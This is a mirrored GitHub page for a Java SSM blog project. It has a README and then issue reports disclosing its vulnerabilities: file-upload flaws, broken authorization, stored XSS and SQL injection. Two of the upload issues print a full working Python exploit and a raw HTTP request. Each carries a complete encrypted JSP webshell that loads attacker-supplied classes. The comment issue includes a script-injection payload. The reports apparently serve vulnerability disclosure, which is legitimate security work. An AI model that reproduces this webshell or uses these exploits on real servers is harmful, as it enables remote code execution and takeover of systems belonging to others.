Giter Club home page Giter Club logo

blog-ssm's Introduction

JavaWeb博客项目

SSM框架的web博客项目——Spring、SpringMVC、MyBatis

演示地址:blog.rawchen.com

项目简介

博客是一种新型网络交流方式,现已受到大家的欢迎,是网络时代的个人“读者文摘”,是以超级链接为入口的网络日记,它代表着新的生活、工作和学习方式。一个典型的博客结合了文字、图像、其他博客或网站的链接及其它与主题相关的媒体,能够让读者以互动的方式留下意见,是许多博客的重要要素。

技术栈

Spring+SpringMVC+MyBatis+Thymeleaf+JQuery+Js+Ajax+Json+PageHelper

前端组件:AdminLTE+datetimepicker+Chart.js+DataTables+Editor.md+SweetAlert2+tocbot+icheck+Prism+Selectize.js+Lightbox

服务器: Tomcat_8.5.53

数据库: MySQL_5.5.61

开发工具:IDEA_2020.3

界面制作:Bootstrap v4.4.1

项目使用说明

  1. 导入结构和数据:blog_ssm.sql

  2. 解压下载zip重命名blog-ssm-master文件夹为blog-ssm,IDEA打开该blog-ssm项目

  3. 修改配置数据库连接文件:dbconfig.properties

  4. 为项目添加Tomcat配置,Deployment下Application context设置为:/

Admin:	帐号:rawchen  密码:rawchen(密码已改,自行部署)
User:	帐号:user     密码:user

功能描述

blog-01.png

数据库设计

blog-02.png

代码结构

blog-03.png

功能实现部分截图

blog-04.png

blog-05.png

blog-06.png

blog-07.png

blog-08.png

blog-09.png

blog-10.png

blog-11.png

blog-12.png

blog-13.png

blog-14.png

blog-15.png

blog-16.png

blog-17.png

blog-18.png

blog-19.png

blog-20.png

blog-21.png

blog-22.png

blog-23.png

Stargazers

Forkers

待完成

  • 模板片段(代码冗余:⻚眉⻚脚公共菜单..)
  • 后端修改用户
  • 后端修改评论
  • 文件下载量及前端显示
  • 集成Redis

如何贡献

可能上述优化任务因时间问题无法再完成下去。 因此你可以试试看,如果觉得修改的挺不错可以合并到主分支。

操作流程

Fork 项目到你自己仓库,本地拉取你 fork 的项目并部署修改。 提交本地仓库更改,推送到你 fork 的项目仓库中。 在我的项目发起 Pull requests,我看到后将考虑合并到主分支。

blog-ssm's People

Contributors

rawchen avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

blog-ssm's Issues

Unrestricted Upload of File with Dangerous Type In /upFile

Unrestricted Upload of File with Dangerous Type In /upFile

[Suggested description]

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /upFile. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

[Vulnerability Type]

Unrestricted Upload of File with Dangerous Type

[Vendor of Product]

https://github.com/rawchen/blog-ssm

[Affected Product Code Base]

1.0

[Affected Component]

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

[Attack Vector]

Step1:After a code audit, it was found that /upFile has unauthorized access and arbitrary file uploads.

image-20220901144733006

Step2:Build EXP according to the code audit results, and run it to get the URL address of WebShell: http://localhost:8081/upload/blog/20220901/1662015136678.jsp

image-20220901145545937

EXP:
import requests

# Configure the target URL.
Host = "localhost:8081"
Path = "upFile"
Url = "http://{Host}/{Path}".format(Host=Host, Path=Path)
# Configure Headers.
Headers = {"sec-ch-ua-mobile": "?0",
           "sec-ch-ua-platform": "\"Windows\"",
           "Upgrade-Insecure-Requests": "1",
           "Origin": "http://{Host}".format(Host=Host),
           "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNOyNFd8trb922Qzd",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                         "Chrome/104.0.0.0 Safari/537.36",
           "Connection": "close"}
# Configure Data, where the WebShell key is KEY, the password is Pass, the payload is JavaDynamicPayload,
# and the encryptor is JAVA_AES_BASE64.
Data = "------WebKitFormBoundaryNOyNFd8trb922Qzd\r\nContent-Disposition: form-data; name=\"editormd-image-file\"; " \
       "filename=\"text.jsp\"\r\n" \
       "Content-Type: image/jpeg\r\n\r\n" \
       "<%! String xc=\"3c6e0b8a9c15224a\"; String pass=\"pass\"; String md5=md5(pass+xc); class X extends " \
       "ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, " \
       "cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(" \
       "\"AES\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\"AES\"));return c.doFinal(s); }catch " \
       "(Exception e){return null; }} public static String md5(String s) {String ret = null;try {" \
       "java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\"MD5\");m.update(s.getBytes(), 0, " \
       "s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {" \
       "}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = " \
       "null;try {base64=Class.forName(\"java.util.Base64\");Object Encoder = base64.getMethod(\"getEncoder\", " \
       "null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\"encodeToString\", new Class[] { " \
       "byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(" \
       "\"sun.misc.BASE64Encoder\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass(" \
       ").getMethod(\"encode\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception " \
       "e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] " \
       "value = null;try {base64=Class.forName(\"java.util.Base64\");Object decoder = base64.getMethod(" \
       "\"getDecoder\", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(\"decode\", " \
       "new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { " \
       "base64=Class.forName(\"sun.misc.BASE64Decoder\"); Object decoder = base64.newInstance(); value = (byte[" \
       "])decoder.getClass().getMethod(\"decodeBuffer\", new Class[] { String.class }).invoke(decoder, new Object[] { " \
       "bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(" \
       "pass));data=x(data, false);if (session.getAttribute(\"payload\")==null){session.setAttribute(\"payload\"," \
       "new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\"parameters\"," \
       "data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((" \
       "Class)session.getAttribute(\"payload\")).newInstance();f.equals(arrOut);f.equals(" \
       "pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(" \
       "base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (" \
       "Exception e){}\r\n%>\r\n" \
       "------WebKitFormBoundaryNOyNFd8trb922Qzd--\r\n"
response = requests.post(Url, headers=Headers, data=Data)
# Output WebShell address and connection information.
Path = response.json()['url']
Url = "http://{Host}{Path}".format(Host=Host, Path=Path)
print("Web_Shell_Url:{Url}".format(Url=Url))
print("Web_Shell_Key:{Key}".format(Key="key"))
print("Web_Shell_Pass:{Pass}".format(Pass="pass"))
print("Web_Shell_Payload:{Payload}".format(Payload="JavaDynamicPayload"))
print("Web_Shell_Encryptor:{Encryptor}".format(Encryptor="JAVA_AES_BASE64"))
Step3:Connect to the Trojan via http://localhost:8081/upload/blog/20220901/1662015136678.jsp.

image-20220901145821537

image-20220901150013755

[Attack Type]

Remote

[Impact Code execution]

True

[Reference(s)]

http://cwe.mitre.org/data/definitions/23.html

Unrestricted Upload of File with Dangerous Type In /uploadFileList

Unrestricted Upload of File with Dangerous Type In /uploadFileList

[Suggested description]

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /uploadFileList. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

[Vulnerability Type]

Unrestricted Upload of File with Dangerous Type

[Vendor of Product]

https://github.com/rawchen/blog-ssm

[Affected Product Code Base]

1.0

[Affected Component]

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

[Attack Vector]

Step1:Registered account, username: text123, password: 123456.

image-20220901151056903

Step2:Log in to the account you just registered and click "File Management".

image-20220901151310085

image-20220901151450938

Step3:Click File Upload, select the Trojan file that has been built in advance, and click Upload.

image-20220901151725905

image-20220901151844500

Data Pack
POST /uploadFileList HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------352203683622881217472510347558
Content-Length: 2854
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/adminFile
Cookie: JSESSIONID=F68B6E11EB57F40C26C413029E832793
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------352203683622881217472510347558
Content-Disposition: form-data; name="files[]"; filename="text.jsp"
Content-Type: application/octet-stream

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
-----------------------------352203683622881217472510347558--
Step4:In /file, click text.jsp to get the URL address of WebShell: http://localhost:8081/upload/file/text.jsp.

image-20220901152330084

image-20220901152647804

Step5:Connect to the Trojan via http://localhost:8081/upload/file/text.jsp.

image-20220901153236077

image-20220901153318713

[Attack Type]

Remote

[Impact Code execution]

True

[Reference(s)]

http://cwe.mitre.org/data/definitions/23.html

发现几处安全问题

1.两处文件上传绕过:
由于在代码中采用了黑名单过滤后缀“.jsp”和“.asp”,攻击者可以利用windows自动去除后缀“.”,"::$DATA”等,来进行绕过。如下:
/uploadFileList 接口:
代码分析:
1705369861116
1705369868122
漏洞复现:
1705369825775
1705369840162
/upFile 接口:
代码分析:
1705369915142
1705369918042
1705369921808
1705369924377
漏洞复现:
1705370134198
1705370140909

建议修复方案:采用白名单防御,仅允许上传.txt,.zip,.png,.mp3等常见后缀,禁止上传脚本格式,,如:.html(可导致产生存储型XSS),.jsp,.jspx, .php .asp等,可导致代码执行!!!

2.两处SQL注入,由于采用了"${"的方式进行拼接,所以导致产生SQL注入问题,如下:
漏洞产生位置:
com/rawchen/mapper/ContentMapper.xml:
1705370443868
com/rawchen/mapper/TagMapper.xml:
image
漏洞复现:
1705370513961
image
image
image

建议修复方案:
1705370283022

Improper Authorization In /adminGetUserList

Improper Authorization In /adminGetUserList

[Suggested description]

blog-ssm v1.0 was found to contain an unauthorized access vulnerability through the component /adminGetUserList. This vulnerability allows an attacker to obtain sensitive user information by bypassing permission checks.

[Vulnerability Type]

Improper Authorization of Index Containing Sensitive Information

[Vendor of Product]

https://github.com/rawchen/blog-ssm

[Affected Product Code Base]

1.0

[Affected Component]

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

[Attack Vector]

Step1:After a code audit, it was found that /adminGetUserList had unauthorized access and exported sensitive user information, such as account names and passwords.

image-20220901154837873

Step2:Registered account, username: text123, password: 123456.

image-20220901151056903

Step3:Log in to the account you just registered and access /adminGetUserList to obtain sensitive information such as password.

image-20220901154610187

[Attack Type]

Remote

[Impact Code execution]

False

[Reference(s)]

https://cwe.mitre.org/data/definitions/285.html

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') In /comment

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') In /comment

[Suggested description]

blog-ssm v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /comment. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the notifyInfo parameter.

[Vulnerability Type]

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

[Vendor of Product]

https://github.com/rawchen/blog-ssm

[Affected Product Code Base]

1.0

[Affected Component]

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

[Attack Vector]

Step1:Registered account, username: text123, password: 123456.

image-20220901151056903

Step2:Log in to the account you just registered and click "File Management".

image-20220901151310085

Step3:Click any article on the homepage and enter malicious Javascript code in the comment area.

image-20220901153618078

image-20220901153902249

Data Pack:
POST /comment HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/articles/blog-ssm
Cookie: JSESSIONID=F68B6E11EB57F40C26C413029E832793
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

contentId=65&commentText=%3Cscript%3Ealert%28%22123%22%29%3C%2Fscript%3E
Step4:Visit the article again to trigger a stored XSS attack.

image-20220901154108104

[Attack Type]

Remote

[Impact Code execution]

True

[Reference(s)]

https://cwe.mitre.org/data/definitions/79.html

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.